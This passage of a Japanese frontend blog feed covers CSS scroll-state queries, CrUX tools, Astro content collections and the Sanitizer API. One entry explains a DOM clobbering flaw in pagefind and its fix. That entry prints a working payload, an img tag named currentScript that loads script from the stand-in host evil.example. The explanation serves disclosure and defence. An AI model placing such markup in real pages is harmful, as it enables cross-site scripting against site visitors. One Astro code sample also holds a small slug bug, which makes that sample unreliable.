<p class="codepen" data-height="400" data-default-tab="css,result" data-slug-hash="vYPzdGp" data-pen-title="Sticky State Queries - Nav Shadow On Stuck" data-user="argyleink" style="height: 400px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;">
  <span>See the Pen <a href="https://codepen.io/argyleink/pen/vYPzdGp">
  Sticky State Queries - Nav Shadow On Stuck</a> by Adam Argyle (<a href="https://codepen.io/argyleink">@argyleink</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>

<h2>snapped</h2>

<p><code>snapped</code>は<a href="https://developer.mozilla.org/ja/docs/Web/CSS/CSS_scroll_snap/Basic_concepts">スクロールスナップ</a>によってスナップした状態にマッチします。</p>

<pre class="hljs-pre"><code class="css">@container scroll-state(snapped: x) {
  /* x軸方向にスナップしている状態のスタイル */
}</code></pre>

<p><code>stuck</code>と同様にスナップした領域をハイライトしたり、コンテンツの表示を切り替えたりしたい場合はJavaScriptで<a href="https://developer.mozilla.org/en-US/docs/Web/API/Element/scrollsnapchange_event"><code>scrollsnapchange</code>イベント</a>などを使う必要がありましたが、CSSだけで実現できるようになります。</p>

<p class="codepen" data-height="500" data-default-tab="css,result" data-slug-hash="JjqVzxq" data-pen-title="snapChanging triggered captions - CSS container query" data-user="argyleink" style="height: 500px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;">
  <span>See the Pen <a href="https://codepen.io/argyleink/pen/JjqVzxq">
  snapChanging triggered captions - CSS container query</a> by Adam Argyle (<a href="https://codepen.io/argyleink">@argyleink</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>

<h2>scrollable</h2>

<p><code>scrollable</code>はコンテナ要素が指定した方向にスクロール可能な状態にマッチします。</p>

<pre class="hljs-pre"><code class="css">@container scroll-state(scrollable: bottom) {
  /* 下方向にスクロール可能な状態のスタイル */
}</code></pre>

<p>例えば、ボックスの縁にグラデーションをつけるなど、スクロールクエリーを使うことで視覚的にスクロールが可能なことをユーザーに伝えるスタイルを適用できます。</p>

<p><a href="https://codepen.io/argyleink/pen/PoMJvXN">元のデモ</a>が古い仕様で作られていたため、当社のアカウントでForkしつつ、新しい仕様に合わせて修正しました。</p>

<p class="codepen" data-height="500" data-default-tab="css,result" data-slug-hash="vEBYwoB" data-pen-title="Scrollable Visual Affordances with Scroll State Queries" data-user="mitsue-links" style="height: 500px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;">
  <span>See the Pen <a href="https://codepen.io/mitsue-links/pen/vEBYwoB">
  Scrollable Visual Affordances with Scroll State Queries</a> by ミツエーリンクス (<a href="https://codepen.io/mitsue-links">@mitsue-links</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>

<h2>なぜコンテナクエリーなのか？</h2>

<p>私は以前から<code>position: sticky</code>な要素が吸着している状態かどうかをCSSで判定したいと思っており、<code>:stuck</code>のような擬似クラスがあればいいのになーと考えていましたが、追加されたのはコンテナクエリーでした。</p>

<p>なぜ擬似クラスではなくコンテナクエリーなのかについては<a href="https://github.com/w3c/csswg-drafts/blob/main/css-conditional-5/scroll_state_explainer.md#container-queries-vs-pseudo-classes">Explainer</a>に記載があります。さまざまな理由があるようですが、特に問題になりやすいのがブラウザ内部のレイアウト処理との関係です。</p>

<p>例えば、以下のようなHTMLがあるとします。</p>

<pre class="hljs-pre"><code class="html">&lt;div class="parent"&gt;
    &lt;div class="container"&gt;
        &lt;div class="child"&gt;&lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;</code></pre>

<p>もし<code>:stuck</code>のような擬似クラスだったとすると、子要素だけでなく、自分自身、兄弟要素、さらには<code>has()</code>と組み合わせることで先祖要素にさかのぼってスタイルを変更することができます。  </p>

<pre class="hljs-pre"><code class="css">.parent:has(.container:stuck) {
    background-color: red;
}</code></pre>

<p>柔軟なスタイル設定ができるため良いように見えますが、柔軟性が高いことでブラウザ側のレイアウト処理が複雑になり、無限ループに陥りやすいという問題があります。以下は擬似クラスだとこんなこともできてしまうという極端な例です。</p>

<pre class="hljs-pre"><code class="css">.container {
    position: sticky;
}

.container:stuck {
    position: static;
}</code></pre>

<p>対してコンテナクエリーの場合はコンテナ要素の子孫要素のみに限定することができます。</p>

<pre class="hljs-pre"><code class="css">.container {
    container-type: scroll-state;
}

@container scroll-state(stuck: top) {
    .parent { /* 親要素のCSS宣言を書いても反映されない */
        background-color: red;
    }
}</code></pre>

<p>コンテナクエリーを使えば全ての問題が解決するわけではないと思いますが、<a href="https://developer.mozilla.org/ja/docs/Web/CSS/container-type">container-type</a>を使うことで無限ループを軽減し、ブラウザ内部のレイアウトロジックをシンプルに保つことができます。</p>

<h2>まとめ</h2>

<p>前述した通り、Scroll State Container QueriesはまだEditor's Draftの段階であり、正式な仕様ではありません。Chrome Canaryでは実装されましたが、他のブラウザでは実装の予定もまだないようです。</p>

<ul>
<li><a href="https://github.com/mozilla/standards-positions/issues/896">mozillaのstandards-positions</a></li>
<li><a href="https://github.com/WebKit/standards-positions/issues/261">WebKitのstandards-positions</a></li>
</ul>

<p>しかし、このコンテナクエリーが実装されればCSSだけで表現できる幅が広がり、JavaScript実行時のレイアウト処理が減ることでパフォーマンスの向上、さらにはユーザビリティの向上にもつながるため、期待したいと思います。</p>
]]>
    </content>
</entry>

<entry>
    <title>Chrome User Experience Reportのデータを確認するための新しいツール</title>
    <link rel="alternate" type="text/html" href="https://www.mitsue.co.jp/knowledge/blog/frontend/202410/15_1351.html" />
    <id>tag:www.mitsue.co.jp,2024:/knowledge/blog/frontend//9.2456</id>

    <published>2024-10-15T13:51:15+09:00</published>
    <updated>2024-10-15T14:58:45+09:00</updated>

    <summary>Chrome User Experience Report（CrUX）は、Chr...</summary>
    
    
    <content type="html" xml:lang="ja" xml:base="https://www.mitsue.co.jp/knowledge/blog/frontend/">
        <![CDATA[<p>Chrome User Experience Report（CrUX）は、ChromeでWebサイトを閲覧しているユーザーの体験を測定するための一般公開されているデータセットで、主に<a href="https://web.dev/articles/vitals?hl=ja">Web Vitals</a>に関するスコアデータを提供しています。</p>

<p>CrUXのデータを確認する方法はこれまでもいくつかありましたが、最近新しいツールが公開されたのでご紹介します。</p>
]]>
        <![CDATA[<h2>CrUX Vis</h2>

<p>Googleは新しく<a href="https://cruxvis.withgoogle.com/#/">CrUX Vis</a>というツールを公開しました。</p>

<p>CrUX Visは、CrUXのデータをグラフとして視覚化してくれるツールで、<a href="https://developer.chrome.com/docs/crux/history-api">CrUX History API</a>を利用して最大約6カ月分のスコアの推移を確認できます。</p>

<p>使い方はとても簡単で、CrUX Visのページを開いて計測したいサイトのURLを入力し、Enterキーを押すだけです。</p>

<p><a href="https://developer.chrome.com/docs/crux/methodology?hl=ja#origin-eligibility">オリジンの要件</a>を満たしているサイトであれば、誰でもいろいろなサイトのスコアを閲覧できます。（<a href="https://cruxvis.withgoogle.com/#/?view=cwvsummary&amp;url=https%3A%2F%2Fwww.mitsue.co.jp%2F&amp;identifier=origin&amp;device=PHONE&amp;periodStart=0&amp;periodEnd=-1&amp;display=p75s">ミツエーリンクスのコーポレートサイトの例</a>）</p>

<h3>CrUX Dashboardとの違い</h3>

<p>CrUX Visと似たようなツールに<a href="https://developer.chrome.com/docs/crux/dashboard">CrUX Dashboard</a>というツールがあります。</p>

<p>CrUX Dashboardで確認できるデータは月に1度、第二火曜日に更新され前月分までのデータが閲覧できるようになりますが、CrUX Visは週次でデータが更新されるため、より短いスパンでパフォーマンス改善の効果が出ているか確認できるようになります。</p>

<p>またCrUX Dashboardはオリジン単位のデータが確認できるのに対し、CrUX Visでは<a href="https://developer.chrome.com/docs/crux/methodology?hl=ja#page-eligibility">ページの要件</a>を満たしているページであれば、URL単位のデータが確認できます。（<a href="https://cruxvis.withgoogle.com/#/?view=cwvsummary&amp;url=https%3A%2F%2Fwww.mitsue.co.jp%2Fservice%2F&amp;identifier=url&amp;device=DESKTOP&amp;periodStart=0&amp;periodEnd=-1&amp;display=p75s">ミツエーリンクスのコーポレートサイトのサービスページの例</a>）</p>

<p>オリジン単位の場合、パフォーマンスを改善するためにはまずどのページでスコアの低下が起きているのかを調査するところから始めることがありますが、URL単位のデータが確認できればどのページでスコアが低下しているのかも調査しやすいため、改善の方針を立てやすくなります。</p>

<p>「<a href="https://groups.google.com/a/chromium.org/g/chrome-ux-report/c/6Qi8oT4QgMQ/m/kUUnOUY_AAAJ">[CrUX Announce] Introducing CrUX Vis - a new experimental CrUX tool</a>」によれば、CrUX Visはまだ実験的な試みではありつつ、将来的にはCrUX Dashboardを置き換える予定とのことです。</p>

<h2>Chrome DevToolsのパフォーマンスパネル</h2>

<p>9月にリリースされたGoogle Chrome 129から、<a href="https://developer.chrome.com/blog/devtools-realtime-cwv">Chrome DevToolsのパフォーマンスパネルにWeb Vitalsのスコアが表示されるようになりました。</a></p>

<p>こちらも使い方は簡単で、Google Chromeでスコアを確認したいページにアクセスし、Chrome DevToolsのパフォーマンスパネルを開くだけでスコアを確認できます。</p>

<p>最初に表示されるデータは閲覧しているデバイスで計測したラボデータのみですが、要件を満たしているサイトであればオリジン、もしくはページ単位のCrUXのデータを表示する設定ができます。</p>

<p>設定するとラボデータとCrUXのデータが並んで表示されるようになるので、2つのデータを比較することで、例えばラボデータは良いスコアでもCrUXのデータが悪いスコアであれば「何かを見落としているのではないか」と気付きやすくなります。</p>

<p>ちなみに、これまでブラウザの拡張機能としてWeb Vitalsスコアを確認するための<a href="https://chrome.google.com/webstore/detail/web-vitals/ahfhijdlegdabablpippeagghigmibma">Web Vitals</a>拡張機能が提供されていましたが、DevToolsでWeb Vitalsが確認できるようになったことから<a href="https://developer.chrome.com/blog/web-vitals-extension">Web Vitals拡張機能は来年の1月にサポートを終了する</a>とのことです。</p>

<p>CrUX VisもChrome DevToolsのパフォーマンスパネルも、将来的にはこれまでのツールを置き換えることになりそうなので、CrUX DashboardやWeb Vitals拡張機能を使っている方はぜひチェックしてみてください！</p>
]]>
    </content>
</entry>

<entry>
    <title>Astro コンテンツコレクションへの移行</title>
    <link rel="alternate" type="text/html" href="https://www.mitsue.co.jp/knowledge/blog/frontend/202409/25_1040.html" />
    <id>tag:www.mitsue.co.jp,2024:/knowledge/blog/frontend//9.2432</id>

    <published>2024-09-25T10:40:00+09:00</published>
    <updated>2024-09-25T17:14:32+09:00</updated>

    <summary>ミツエーリンクスのウェブサイトをリニューアルして数カ月経ちました。テックラジオで...</summary>
    
    
    <content type="html" xml:lang="ja" xml:base="https://www.mitsue.co.jp/knowledge/blog/frontend/">
        <![CDATA[<p>ミツエーリンクスのウェブサイトをリニューアルして数カ月経ちました。<a href="/knowledge/tech_radio/202402/05_1352.html">テックラジオでもお話した</a>とおり、フレームワークにはAstroを使用しています。</p>

<p>リニューアル後も、作業効率や表示パフォーマンスの向上を目的として、コードの改善などに継続的に取り組んでいます。</p>

<p>最近行っているのは「<a href="https://docs.astro.build/ja/guides/content-collections/">コンテンツコレクション</a>」への移行です。htmlファイルを出力する時間が短縮できると聞いて、移行することになりました。</p>

<p>この記事ではコンテンツコレクションの概要と、移行した結果についてご紹介します。</p>
]]>
        <![CDATA[<h2>コンテンツコレクションとは</h2>

<p>Astroに用意された、コンテンツ管理に適した機能です。<code>src/content</code>配下にディレクトリを作り、それを1つのまとまり（コレクション）として管理できます。</p>

<ul>
<li><code>src/content/column</code>: コラムコレクション</li>
<li><code>src/content/news</code>: お知らせコレクション</li>
</ul>

<p>のように使用します。</p>

<p>コレクションのコンテンツとして使用できるファイル形式はMDXやマークダウン、JSONなどです。</p>

<h2>使い方</h2>

<p>当社では現在、</p>

<ul>
<li><a href="/knowledge/column/">コラム配下</a></li>
<li><a href="/news/">ニュース配下</a></li>
<li><a href="/knowledge/glossary.html">用語集配下</a></li>
</ul>

<p>の3つのコンテンツをコンテンツコレクションで構築しています。</p>

<p>そのうちの1つ、ニュースを例にとってコンテンツコレクションの使い方を説明します。</p>

<p>次の画像は、コンテンツコレクションを使用した場合のディレクトリ構造を簡略化したものです。<code>src/content/</code>にコンテンツとなる.mdxファイルを格納し、<code>src/pages/</code>にテンプレートとなる.astroファイルを格納しています。<br/>そのファイルをビルドしたものが<code>dist</code>フォルダーに.htmlファイルとして出力されます。</p>

<div class="c-media">
<div class="c-media__image">
<img src="/knowledge/blog/frontend/img/20240807_01.webp" alt="" width="1024" height="783"></div>
</div>

<p>次項より、詳細を説明します。</p>

<h3>1. コレクションの定義</h3>

<p>コンテンツを作成する前に<code>src/content/</code>配下に<code>config.ts</code>を作成し、各コレクションに必要なデータの型を定義します。</p>

<p>ミツエーリンクスのウェブサイトに掲載するお知らせの詳細ページには本文のほかに以下のようなメタデータが必要です。</p>

<ul>
<li>記事のタイトル</li>
<li>公開日</li>
<li>OGP画像のファイルパス</li>
</ul>

<p>また、なかには「最新のお知らせ一覧には表示しないお知らせページ」や「お知らせ一覧にだけ表示してページとして生成しない（外部リンクのみ）お知らせ」などもあるため、</p>

<ul>
<li>外部リンク</li>
<li>最新のお知らせ一覧に表示するかどうかを示すフラグ</li>
</ul>

<p>もオプショナルとして定義します。</p>

<p>これらをコードとして定義すると以下のようになります。</p>

<pre class="hljs-pre">
<code class="jsx">import {z, defineCollection} from 'astro:content';

const news = defineCollection({
  type: 'content',
  schema: z.object({
    title: z.string(),
    date: z.object({
      year: z.string(),
      month: z.string(),
      day: z.string()
    }),
    ogImage: z.string().optional(),
    externalLink: z.string().optional(),
    latest: z.boolean().optional()
  })
});

export const collections = {
  news
};</code>
</pre>

<p>コンテンツコレクションでは<a href="https://github.com/colinhacks/zod">Zod</a>を使って型の管理をしています。</p>

<p>これによりデータが足りない状態、データの型を誤った状態でビルドするとエラーが発生するため、安全に運用ができます。</p>

<h3>2. コンテンツファイルをつくる</h3>

<p><code>src/content/</code>配下に<code>news</code>ディレクトリを作り、MDXファイルを追加します。</p>

<p>例えば「<a href="/news/20240823.html">LinkedIn Talent Awards 2024においてラーニングチャンピオンのWinnerに選出</a>」というお知らせページの場合、<code>src/content/news/20240823.mdx</code>というファイルを作成し、以下のように記述します。</p>

<pre class="hljs-pre">
<code class="jsx">---
title: 'LinkedIn Talent Awards 2024においてラーニングチャンピオンのWinnerに選出'
date:
    year: '2024'
    month: '08'
    day: '23'
ogImage: '20240823_news.jpg'
---
import Media from '@components/module/media/media.astro';
import Caption from '@components/module/media/media_caption.astro';

[LinkedIn](https://www.linkedin.com/)が主催する[Talent Awards 2024](https://business.linkedin.com/talent-solutions/events/24/06/talent-awards-apac/region-categories/apac/japan)において、[ラーニングチャンピオンのWinner](https://business.linkedin.com/talent-solutions/events/24/06/talent-awards-apac/region-categories/apac/japan/japan-learning-champion)に選出されました（日本国内で従業員数1万人未満の企業部門）。

ラーニングチャンピオンとは、従業員を適切かつ応用可能なスキルと結びつけることで、従業員の学習と能力開発に投資した企業を表彰するものです。

今回の受賞は、社員一人ひとりの成長と取り組みの成果を示すものだと考えています。[LiniedInラーニング](https://www.linkedin.com/learning/)の活用で、社員の成長を支援できること、そして社員それぞれの役割において力が発揮できることを大変嬉しく思います。

更なる挑戦と成長を続け、より高い目標に邁進してまいります。

&lt;Media alt="" height="533" src="/news/img/20240823_01.webp" width="800"&gt;
&lt;Caption slot="caption"&gt;授賞したトロフィ－&lt;/Caption&gt;
&lt;/Media&gt;</code>
</pre>

<p>記事のメタデータはFrontmatter内で定義します。定義するデータは「1. コレクションの定義」で定義した型にマッチする必要があります。<br/><code>config.ts</code>で<code>.optional()</code>がついているものは、ここに書かれていなくてもエラーになりません。</p>

<p>基本的な文章はマークダウン記法で書きますが、独自に作成したAstroコンポーネントを<code>import</code>して利用することもでき、<code>Media</code>や<code>Caption</code>タグはimportしたAstroコンポーネントを使用しています。</p>

<p>また、プレーンなマークダウンで書いた箇所はクラス属性がないHTMLタグに変換されるので、スタイルを当てたい場合、別途CSSの追加が必要です。</p>

<h3>3. テンプレートファイルを作る</h3>

<p>MDXファイルをhtmlに変換するには、テンプレートとなるAstroファイルが必要です。</p>

<p>テンプレートファイルは<code>src/pages/</code>配下に格納し、ファイル名は<code>[slug].astro</code>または<code>[...slug].astro</code>のようにつけます。この<code>slug</code>については固定ではなく、任意の名前もつけられます。</p>

<p>お知らせのテンプレート（<code>src/pages/news/[...slug].astro</code>）は以下のようになっています。</p>

<pre class="hljs-pre">
<code class="jsx">---
import {getCollection} from 'astro:content';

export async function getStaticPaths() {
  const newsEntries = await getCollection('news');

  return newsEntries.map(entry => ({
    params: {slug: newsEntries.slug},
    props: {entry}
  }));
}

const {entry} = Astro.props;
const {Content} = await entry.render();

const {title, date} = entry.data;
---
&lt;PageTitle&gt;
&lt;Level1Column datetime={`${date.year}-${date.month}-${date.day}`}&gt;
&lt;Fragment slot="heading"&gt;&lt;Fragment set:html={title} /&gt;&lt;/Fragment&gt;&lt;/Level1Column&gt;
&lt;/PageTitle&gt;

&lt;Content /&gt;</code>
</pre>

<p>ポイントは以下の通りです。</p>

<ul>
<li><code>getStaticPaths</code>メソッドの返り値のうち、<code>params</code>で指定した値が最終的に出力されるHTMLのファイル名になり、<code>props</code>で指定した値が<code>Astro.props</code>から取得できるデータになります。</li>
<li><code>Astro.props</code>の<code>entry.data</code>には「2. コンテンツファイルをつくる」でFrontmatter内に書いたデータが入っています。テンプレートファイルで使用する<code>title</code>と<code>date</code>を取り出します。</li>
<li><code>&lt;Content /&gt;</code>にはMDXファイル内のFrontmatterの外に書いたコンテンツがHTMLに変換された状態で挿入されます。</li>
</ul>

<p>以上がコンテンツコレクションでの記事作成に必要な作業を抜粋したものになります。<a href="/news/20240823.html">実際の記事へのリンクはこちらです</a>。</p>

<h2>Astro コンテンツコレクションに移行してみて</h2>

<p>当初の移行理由のhtmlファイル出力の時間短縮ですが、コンテンツコレクション導入前後、それぞれ5回ファイルを出力した際の数値を比べると以下のようになりました。</p>

<table>
<tr>
<th></th>
<th>build時間の平均</th>
<th>build時間の中央値</th>
<th>1ページあたり</th>
</tr>
<tr>
<th>変更前</th>
<td>527.95秒</td>
<td>538.14秒</td>
<td>134.82ミリ秒</td>
</tr>
<tr>
<th>コンテンツコレクション<br/>導入後</th>
<td>328.56秒</td>
<td>328.37秒</td>
<td>82.91ミリ秒</td>
</tr>
</table>

<p>導入前後で約4割ほどビルド時間が短縮されています。現在Astroで管理しているページ数は約4000ページほどあり、今後もページ数が増えていくのでうれしい結果となりました。</p>

<p>そのほかに、コンテンツファイルを追加・ビルドすれば以下の一覧ページも自動で書き換わるようにしました。</p>

<ul>
<li><a href="/news/">ニューストップページ</a></li>
<li><a href="/news/backnumber.html">お知らせ一覧</a></li>
<li><a href="/news/2022-2024.html">年別のお知らせ一覧</a></li>
</ul>

<p>一覧ページの更新時に手動で更新する箇所が減ったので、それに伴い記事詳細と記事一覧でタイトルや日付が一致していない、記事へのリンクが違うなどのミスが減りました。</p>

<h2>まとめ</h2>

<p><a href="https://astro.build/blog/">Astroはアップデートが頻繁にあり</a>、今後の機能追加も楽しみにしながら随時改善に努めたいと思います。</p>

<p>以上、Astro コンテンツコレクションへの移行についてのフロントエンドBlogでした。</p>
]]>
    </content>
</entry>

<entry>
    <title>DOMの古い仕組みを悪用した脆弱性</title>
    <link rel="alternate" type="text/html" href="https://www.mitsue.co.jp/knowledge/blog/frontend/202409/12_0901.html" />
    <id>tag:www.mitsue.co.jp,2024:/knowledge/blog/frontend//9.2440</id>

    <published>2024-09-12T09:01:11+09:00</published>
    <updated>2024-09-12T09:03:14+09:00</updated>

    <summary>pagefindは静的サイトでも手軽にサイト内検索を実現できる全文検索ライブラリ...</summary>
    
    
    <content type="html" xml:lang="ja" xml:base="https://www.mitsue.co.jp/knowledge/blog/frontend/">
        <![CDATA[<p><a href="https://pagefind.app/">pagefind</a>は静的サイトでも手軽にサイト内検索を実現できる全文検索ライブラリーです。先日、pagefindの脆弱性が修正されましたが、DOMの古い仕組みを悪用したものでした。その内容を興味深く感じたため、この記事で紹介します。なお、紹介する攻撃手法はDOM Clobberingと呼ばれています（DOM上書きという意味です）。</p>

<p>この記事で紹介する脆弱性はpagefind 1.1.1で修正されています。pagefind 1.1.1未満をご利用のかたは1.1.1に更新することをおすすめします。</p>

<ul>
<li><a href="https://github.com/CloudCannon/pagefind/security/advisories/GHSA-gprj-6m2f-j9hx">CVE-2024-45389: DOM clobbering could escalate to XSS</a></li>
</ul>
]]>
        <![CDATA[<h2>概要</h2>

<p>修正前のpagefindを利用しているサイトでは、サイトにHTMLを書き込める場合、外部のJavaScriptを読み込まれてしまう脆弱性がありました。書き込まれたHTMLにJavaScriptが含まれなくてもこの問題は発生していました。具体的には次のようなHTMLを書き込めると外部のJavaScriptが実行できてしまいました。</p>

<pre class="hljs-pre"><code class="html">&lt;img name="currentScript" src="https://evil.example/path/to/ui.js" alt=""&gt;</code></pre>

<p>繰り返しになりますが、この脆弱性はpagefind 1.1.1で修正されています。pagefind 1.1.1未満をご利用のかたは1.1.1に更新することをおすすめします。</p>

<h2>背景</h2>

<p>具体的な脆弱性を見る前に、脆弱性が成り立つ仕組みを説明します。HTMLでは、一定の条件を満たしたHTML要素が<code>document</code>オブジェクトのプロパティになります。</p>

<p>例えば、次のようなHTMLを考えてみます。</p>

<pre class="hljs-pre"><code class="html">&lt;form name="search" action="path/to/search"&gt;
&lt;label&gt;キーワード
&lt;input name="keyword"&gt;
&lt;/label&gt;
&lt;/form&gt;</code></pre>

<p>この場合、form要素のname属性値を使って<code>document.search</code>と記述すると、form要素を参照できます。form要素内部のinput要素もname属性値を使って<code>document.search.keyword</code>と参照できます。</p>

<p>これは古い時代から存在する仕組みで、現在は<a href="https://html.spec.whatwg.org/multipage/dom.html#dom-document-namedItem-which">名前付きプロパティ（named properties）</a>と呼ばれています。<code>document.querySelector</code>や<code>document.querySelectorAll</code>などが標準化されるよりもずっと昔にページ内の要素を参照するために利用されていました。</p>

<p>名前付きプロパティは、一定の条件下で、同名の通常プロパティを上書きします。<code>document</code>オブジェクトもその条件を満たしますので、例えば次のようなHTMLでは、<code>document.body</code>はbody要素ではなくform要素になります。</p>

<pre class="hljs-pre"><code class="html">&lt;form name="body" action="path/to/search"&gt;
&lt;label&gt;キーワード
&lt;input name="keyword"&gt;
&lt;/label&gt;
&lt;/form&gt;</code></pre>

<p><code>document</code>オブジェクトでは次の要素がname属性やid属性を持っている時、名前付きプロパティになりえます。</p>

<ul>
<li>embed要素</li>
<li>form要素</li>
<li>iframe要素</li>
<li>img要素</li>
<li>object要素</li>
</ul>

<h2>pagefindの脆弱性</h2>

<p>pagefindの脆弱性を見てみましょう。pagefindではUIのJavaScriptファイルを読み込むと、検索処理を行うJavaScript（pagefind.js）のパスを自動的に解決して読み込みます（初期設定の場合）。この時、読み込むファイルのパスはUIのJavaScriptファイルのURLを使って解決しています。</p>

<p>疑似的なコードを書くと次のようになります。</p>

<pre class="hljs-pre"><code class="js">const basePath = new URL(UIのJavaScriptファイルのURL).pathname.
    match(/ファイル名を取り除く正規表現/)[1];
await import(`${basePath}pagefind.js`);</code></pre>

<p>pagefindではUIのJavaScriptファイルのURLを<code>document.currentScript.src</code>を使って取得しています。</p>

<p><code>document.currentScript</code>は現在実行されているscript要素を表します（クラシックスクリプトの場合）。<code>document.currentScript.src</code>を参照すると、現在実行されているJavaScriptファイルのURLを取得できます。</p>

<pre class="hljs-pre"><code class="js">const basePath = new URL(document.currentScript.src).pathname.
    match(/ファイル名を取り除く正規表現/)[1];
await import(`${basePath}pagefind.js`);</code></pre>

<p>さて、前述の名前付きプロパティを使うと、<code>document.currentScript</code>を上書きできます。iframe要素やimg要素には<code>src</code>プロパティがありますので、例えばimg要素を使うと<code>document.currentScript.src</code>を上書きできます。</p>

<pre class="hljs-pre"><code class="html">&lt;img name="currentScript" src="https://evil.example/path/to/ui.js" alt=""&gt;</code></pre>

<p>次のように解釈されるためです。</p>

<pre class="hljs-pre"><code class="js">const basePath = new URL('https://evil.example/path/to/ui.js').pathname.
    match(/ファイル名を取り除く正規表現/)[1];
await import(`${basePath}pagefind.js`);</code></pre>

<p>その結果、外部のJavaScript（https://evil.example/path/to/pagefind.js）が読み込まれます。</p>

<h2>対策</h2>

<p>pagefindではこの脆弱性の対応として、<code>document.currentScript</code>がscript要素であることをチェックするようになりました（<a href="https://github.com/CloudCannon/pagefind/pull/696">Add safety checks around accesses for <code>document.currentScript.src</code> by bglw · Pull Request #696 · CloudCannon/pagefind</a>）。<code>document.currentScript</code>がscript要素でなければ<code>document.currentScript.src</code>の値は使いません。</p>

<p>また、ユーザーが書き込むHTMLを制限する方法として、<a href="https://cheatsheetseries.owasp.org/cheatsheets/DOM_Clobbering_Prevention_Cheat_Sheet.html">OWASPのDOM Clobbering Prevention Cheat Sheet</a>では<a href="https://github.com/cure53/DOMPurify">DOMPurify</a>などを使ってname属性やid属性を取り除く方法などが紹介されています。</p>

<h2>おわりに</h2>

<p>pagefindと同様の脆弱性はwebpackに対しても報告されています（<a href="https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986">CVE-2024-43788 DOM Clobbering Gadget found in Webpack's AutoPublicPathRuntimeModule that leads to XSS · Advisory · webpack/webpack</a>）。今後、他のライブラリーでも同様の問題が見つかる可能性もあり、引き続き注意が必要と考えています。</p>
]]>
    </content>
</entry>

<entry>
    <title>ミツエーリンクス コーポレートサイトがAstro Showcaseに掲載されました</title>
    <link rel="alternate" type="text/html" href="https://www.mitsue.co.jp/knowledge/blog/frontend/202407/22_1034.html" />
    <id>tag:www.mitsue.co.jp,2024:/knowledge/blog/frontend//9.2405</id>

    <published>2024-07-22T10:34:47+09:00</published>
    <updated>2024-07-22T10:51:58+09:00</updated>

    <summary>ミツエーリンクスのコーポレートサイトがAstro Showcaseに掲載されまし...</summary>
    
    
    <content type="html" xml:lang="ja" xml:base="https://www.mitsue.co.jp/knowledge/blog/frontend/">
        <![CDATA[<p><a href="https://www.mitsue.co.jp/">ミツエーリンクスのコーポレートサイト</a>が<a href="https://astro.build/showcase/26/">Astro Showcase</a>に掲載されました。</p>

<p>当サイトはAstroを使用して構築しています。</p>

<p>Astroはコンテンツ駆動型のWebフレームワークです。ページ毎に構成に必要なHTML、CSS、最小限のJavaScriptが生成されるので、表示パフォーマンスの向上が期待できるなどの特徴があり、リニューアルの際にAstroを選択し実装しました。</p>

<p>ミツエーテックラジオでもAstroを使って当サイトをリニューアルした時の話をしています。
こちらも合わせて聴いてみてください。</p>

<ul>
<li><a href="https://www.mitsue.co.jp/knowledge/tech_radio/202402/05_1352.html">#48「ミツエーリンクスのコーポレートサイトリニューアル」</a></li>
</ul>

<p>Astroで構築したサイトに興味のある方は、当サイト以外にも<a href="https://astro.build/showcase/">Astro Showcase</a>に掲載されていますので参考にしてみてください。</p>
]]>
        
    </content>
</entry>

<entry>
    <title>Sanitizer APIのその後</title>
    <link rel="alternate" type="text/html" href="https://www.mitsue.co.jp/knowledge/blog/frontend/202407/04_0815.html" />
    <id>tag:www.mitsue.co.jp,2024:/knowledge/blog/frontend//9.2381</id>

    <published>2024-07-04T08:15:52+09:00</published>
    <updated>2024-07-04T16:58:24+09:00</updated>

    <summary>2022年にSanitizer APIの使い方という記事を公開しました。 一時は...</summary>
    
    
    <content type="html" xml:lang="ja" xml:base="https://www.mitsue.co.jp/knowledge/blog/frontend/">
        <![CDATA[<p>2022年に<a href="https://www.mitsue.co.jp/knowledge/blog/frontend/202202/09_1441.html">Sanitizer APIの使い方</a>という記事を公開しました。</p>

<p>一時はGoogle Chromeに実装されたものの、その後APIの仕様が大きく変更されることになり、<a href="https://developer.chrome.com/blog/sanitizer-api-deprecation?hl=ja">Sanitizer APIの実装は取り下げられることになりました</a>。</p>

<p><a href="https://github.com/WICG/sanitizer-api/blob/main/explainer.md">explainer</a>に記載されている「The Problem」や「Goals」に変更はありませんが、APIについては変更されています。冒頭に記載した2022年の記事も当時のAPI仕様をもとに執筆したものであり、今では古い情報となっていますのでご注意いただければと思います。</p>

<p>本記事では、その後のSanitizer APIの状況を書きたいと思います。しかし、今回記載する内容もWICGで検討している段階であり、まだ確定していないという点はご留意ください。また、この記事は、2024年6月時点の情報をもとに執筆しています。</p>
]]>
        <![CDATA[<h2>仕様の変更点</h2>

<p>冒頭に記載した記事では、Sanitizer APIの使い方として以下の2通りを紹介しました。</p>

<ul>
<li><code>Element.setHTML</code>メソッドの引数に指定する</li>
<li>Sanitizer APIを直接使う</li>
</ul>

<p>このうち後者のSanitizer APIを直接使う方法は、仕様から削除されました。</p>

<p>メソッドの引数に指定する使い方では、<code>Element.setHTML</code>だけでなく<code>Element.setHTMLUnsafe</code>、<code>Document.parseHTML</code>、<code>Document.parseHTMLUnsafe</code>と組み合わせて使うことが想定されています。</p>

<p>この記事では、XSSのリスクがより少ないことを「安全」と表現し、以降は<code>setHTML</code>と<code>parseHTML</code>を「安全なバージョンのメソッド」、<code>setHTMLUnsafe</code>と<code>parseHTMLUnsafe</code>を「安全でないバージョンのメソッド」と呼びます。</p>

<p>ちなみに、それぞれの安全ではないバージョンのメソッドはすでに<a href="https://html.spec.whatwg.org/#unsafe-html-parsing-methods">HTML Standard</a>に追加されており、<a href="https://webstatus.dev/features/parse-html-unsafe">Web Platform Status</a>でもNewly availableとしてマークされています。</p>

<p>また、<code>setHTML</code>と<code>setHTMLUnsafe</code>は<code>Element</code>だけでなく<code>ShadowRoot</code>でも同様に機能するよう想定されています。</p>

<h2>Sanitizer APIをどう使うか</h2>

<p>Sanitizer APIが今の仕様で確定となった場合、大きく以下の2つがブラウザに実装されるはずです。</p>

<ul>
<li>安全ではないバージョンのメソッドの第二引数にサニタイジングの設定を指定できるようになる</li>
